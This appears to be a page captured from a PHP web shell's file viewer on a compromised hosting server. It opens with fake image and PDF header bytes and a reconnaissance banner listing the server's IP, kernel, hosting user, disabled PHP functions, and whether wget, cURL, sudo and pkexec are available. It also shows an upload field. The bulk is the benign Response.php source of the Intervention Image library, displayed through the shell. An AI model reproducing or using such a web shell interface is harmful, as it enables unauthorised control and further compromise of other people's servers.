ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/intervention/image/src/Intervention/Image/ |
Upload File : |
<?php namespace Intervention\Image; class Response { /** * Image that should be displayed by response * * @var Image */ public $image; /** * Format of displayed image * * @var string */ public $format; /** * Quality of displayed image * * @var integer */ public $quality; /** * Creates a new instance of response * * @param Image $image * @param string $format * @param integer $quality */ public function __construct(Image $image, $format = null, $quality = null) { $this->image = $image; $this->format = $format ? $format : $image->mime; $this->quality = $quality ? $quality : 90; } /** * Builds response according to settings * * @return mixed */ public function make() { $this->image->encode($this->format, $this->quality); $data = $this->image->getEncoded(); $mime = finfo_buffer(finfo_open(FILEINFO_MIME_TYPE), $data); $length = strlen($data); if (function_exists('app') && is_a($app = app(), 'Illuminate\Foundation\Application')) { $response = \Illuminate\Support\Facades\Response::make($data); $response->header('Content-Type', $mime); $response->header('Content-Length', $length); } else { header('Content-Type: ' . $mime); header('Content-Length: ' . $length); $response = $data; } return $response; } }